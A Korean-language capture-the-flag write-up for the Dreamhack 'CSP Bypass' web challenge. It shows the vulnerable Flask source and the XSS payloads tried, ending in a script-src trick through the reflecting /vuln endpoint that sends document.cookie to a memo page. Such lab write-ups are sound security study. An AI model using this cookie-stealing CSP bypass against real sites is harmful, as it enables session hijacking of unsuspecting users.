CSP Bypass

Dreamhack CSP Bypass

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.after_request
def add_header(response):
    global nonce
    response.headers[
        "Content-Security-Policy"
    ] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
    nonce = os.urandom(16).hex()
    return response


@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)


app.run(host="0.0.0.0", port=8000)

코드를 살펴보면 저번에 했던 문제들과 비슷하다는 것을 살펴볼 수 있다.

나는 저 빈칸에 script 구문을 삽입해서 문제를 풀었다.

처음에는 저번 xss에서 풀었던 것처럼

<script>location.href = "http://127.0.0.1:8000/memo?memo=" + document.cookie;</script>

이렇게 풀려고 했는데 풀리지 않았다.
그래도 한가지 건졌던 거는 +가 없어진다는 것이었다.

그래서 다시 코드를 봐보니까 /vuln에서는 render_template를 통해 return하지 않기 때문에 이를 이용해서 풀어야겠다는 생각이 들었다.

접속사이트에서 vuln(xss) page에 들어가보면

/vuln?param=<img%20src=https://dreamhack.io/assets/img/logo.0a8aabe.svg>

이렇게 되어있는 것을 볼 수 있었다.
따라서 나도 이런 느낌으로 작성해야겠다는 생각이 들었다.

그래서 script태그에서 url을 속성값으로 받는 문법을 찾아보니 src가 있었다.

<script src="/vuln?param=location.href='http://127.0.0.1:8000/memo?memo='+document.cookie"></script>

그래서 자신감을 가지고 이걸 넣어봤는데 될리가 없지 ㅎ

곰곰히 생각해보니까 아까 +가 문제가 있는 것 같아서 url 인코딩 표를 찾아보았더니
+가 %2B라고 해서 바꿔서 넣어봤다.

<script src="/vuln?param=location.href='http://127.0.0.1:8000/memo?memo='%2Bdocument.cookie"></script>

그랬더니

플래그 찾았다 !